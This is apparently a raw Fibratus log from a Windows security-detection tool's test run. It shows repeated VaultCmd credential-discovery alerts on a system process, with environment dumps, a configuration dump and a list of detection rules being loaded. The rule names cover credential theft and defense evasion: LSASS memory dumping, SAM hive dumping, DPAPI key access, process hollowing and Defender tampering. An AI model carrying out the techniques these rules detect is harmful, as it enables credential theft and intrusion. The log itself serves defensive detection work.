DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5483719 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:35.5250751 +0100 CET + Params: file_key➜ ffff808cf8088a20, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 339968 + Metadata: subtechnique.name: Windows Credential Manager, tactic.id: TA0006, technique.id: T1555, technique.name: Credentials from Password Stores, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, rule.name: Credential discovery via VaultCmd tool, subtechnique.id: T1555.004, tactic.ref: https://attack.mitre.org/tactics/TA0006/, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/ + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:03:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5483733 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:03:35.5290826 +0100 CET + Params: file_key➜ ffff808cf8019010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1b580000, view_size➜ 339968 + Metadata: tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, technique.id: T1555, technique.name: Credentials from Password Stores, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.id: TA0006 + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:05:40+01:00 level=info msg=sending alert: [Credential discovery via VaultCmd tool]. Text: Event(s): + Seq: 5622369 + Pid: 8288 + Tid: 2988 + Type: MapViewFile + CPU: 0 + Name: MapViewFile + Category: file + Description: Maps a view of a file mapping into the address space of a calling process + Host: archrabbit + Timestamp: 2025-11-04 00:05:18.5107285 +0100 CET + Params: file_key➜ ffff808cf8019010, offset➜ 0, pid➜ 8288, protection➜ READWRITE, section_type➜ PAGEFILE, view_base➜ 27b1aad0000, view_size➜ 327680 + Metadata: technique.ref: https://attack.mitre.org/techniques/T1555/, tactic.name: Credential Access, subtechnique.name: Windows Credential Manager, rule.name: Credential discovery via VaultCmd tool, subtechnique.ref: https://attack.mitre.org/techniques/T1555/004/, subtechnique.id: T1555.004, tactic.id: TA0006, tactic.ref: https://attack.mitre.org/tactics/TA0006/, technique.id: T1555, technique.name: Credentials from Password Stores + + Pid: 8288 + Ppid: 4632 + Name: AggregatorHost.exe + Parent name: svchost.exe + Cmdline: AggregatorHost.exe + Parent cmdline: C:\WINDOWS\System32\svchost.exe -k utcsvc -p + Exe: C:\Windows\System32\AggregatorHost.exe + Cwd: C:\WINDOWS\system32\ + SID: S-1-5-18 + Integrity level: SYSTEM + Username: SYSTEM + Domain: NT AUTHORITY + Args: [AggregatorHost.exe] + Session ID: 0 + Envs: map[ALLUSERSPROFILE:C:\ProgramData APPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Roaming COMPUTERNAME:ARCHRABBIT ChocolateyInstall:C:\ProgramData\chocolatey ComSpec:C:\WINDOWS\system32\cmd.exe CommonProgramFiles:C:\Program Files\Common Files CommonProgramFiles(x86):C:\Program Files (x86)\Common Files CommonProgramW6432:C:\Program Files\Common Files DiagTrackFeedbackArchive:C:\ProgramData\Microsoft\Diagnosis\FeedbackArchive DiagTrackSystemPartition:Volume{d023a78b-4d29-46cf-ba5e-37a2e88ec951} DiagtrackRegistryRoot:SOFTWARE\Microsoft\Windows\CurrentVersion\Diagnostics\DiagTrack DiagtrackStorageRoot:C:\ProgramData\Microsoft\Diagnosis DriverData:C:\Windows\System32\Drivers\DriverData JAVA_HOME:C:\Program Files\Jdk11 LOCALAPPDATA:C:\WINDOWS\system32\config\systemprofile\AppData\Local NUMBER_OF_PROCESSORS:8 OS:Windows_NT PATHEXT:.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.PY PROCESSOR_ARCHITECTURE:AMD64 PROCESSOR_IDENTIFIER:Intel64 Family 6 Model 142 Stepping 10, GenuineIntel PROCESSOR_LEVEL:6 PROCESSOR_REVISION:8e0a PSModulePath:%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC:C:\Users\Public Path:C:\Program Files\ImageMagick-7.1.1-Q16-HDRI;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\tools\msys64\mingw64\bin;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\Program Files\Git\cmd;C:\WINDOWS\System32\OpenSSH\;C:\Program Files (x86)\Windows Kits\10\Windows Performance Toolkit\;C:\rubyinstaller-2.5.7-1-x64\bin;C:\Program Files (x86)\WiX Toolset v3.11\bin;C:\Program Files (x86)\Windows Kits\10\App Certification Kit;C:\Program Files (x86)\Graphviz2.38\bin;C:\Program Files (x86)\NSIS\Bin;C:\Program Files\Jdk11\bin;C:\Python310;C:\Program Files\dotnet\;C:\Program Files\AutoFirma\AutoFirma;C:\ProgramData\chocolatey\bin;C:\Program Files\Microsoft Visual Studio\2022\Community\Msbuild\Current\Bin;C:\Program Files\ffmpeg\bin;C:\Program Files\CMake\bin;C:\Program Files\nodejs\;C:\Program Files\Go\bin;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps ProgramData:C:\ProgramData ProgramFiles:C:\Program Files ProgramFiles(x86):C:\Program Files (x86) ProgramW6432:C:\Program Files SystemDrive:C: SystemRoot:C:\WINDOWS TEMP:C:\WINDOWS\TEMP TMP:C:\WINDOWS\TEMP USERDOMAIN:ARCHBUNNY USERNAME:ARCHRABBIT$ USERPROFILE:C:\WINDOWS\system32\config\systemprofile _NT_SYMBOL_PATH:srv*c:\SymCache*https://msdl.microsoft.com/download/symbols windir:C:\WINDOWS] + + + source=action/alert.go:37 +time=2025-11-04T00:06:53+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T00:06:54+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:06:54+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:08:59+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-04T00:08:59+01:00 level=info msg=bootstrapping with pid 5280. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-04T00:08:59+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ enabled=>false quiet-mode=>false sound=>true] mail=>[ content-type=>text/html to=>[] use-template=>true enabled=>false port=>25]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>false] + event .......................... [ serialize-handles=>false serialize-envs=>true serialize-pe=>false serialize-threads=>false serialize-images=>false] + eventsource .................... [ max-buffers=>36 buffer-size=>512 flush-interval=>1s enable-thread=>true enable-net=>true enable-handle=>false enable-vamap=>true enable-dns=>false enable-image=>true enable-registry=>true min-buffers=>16 enable-mem=>false blacklist=>[ events=>[CloseFile RegCloseKey] images=>[]] enable-threadpool=>false stack-enrichment=>true enable-audit-api=>true enable-fileio=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true level=>info max-backups=>15 formatter=>text max-size=>100] + output ......................... [ http=>[ enabled=>false enable-gzip=>false method=>POST endpoints=>[] tls-insecure-skip-verify=>false timeout=>5s serializer=>json] elasticsearch=>[ gzip-compression=>false timeout=>5s index-name=>fibratus healthcheck-interval=>10s template-name=>fibratus trace-log=>false healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200] sniff=>false enabled=>false healthcheck=>true bulk-workers=>1 flush-period=>1s] amqp=>[ timeout=>5s durable=>false delivery-mode=>transient enabled=>false vhost=>/ url=>amqp://localhost:5672 passive=>false exchange-type=>topic exchange=>fibratus tls-insecure-skip-verify=>false routing-key=>fibratus] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Sid }} + format=>pretty enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false enabled=>false excluded-images=>[svchost.exe] read-sections=>false read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ trim=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] rename=>[ enabled=>false]] + yara ........................... [ excluded-files=>[] scan-timeout=>10s enabled=>false fastscan=>true skip-files=>false skip-allocs=>false skip-mmaps=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-registry=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-04T00:08:59+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:09:01+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-04T00:09:33+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-04T00:09:33+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-04T00:09:33+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-04T13:44:01+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\execution_process_execution_from_unusual_directory.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-04T13:44:01+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 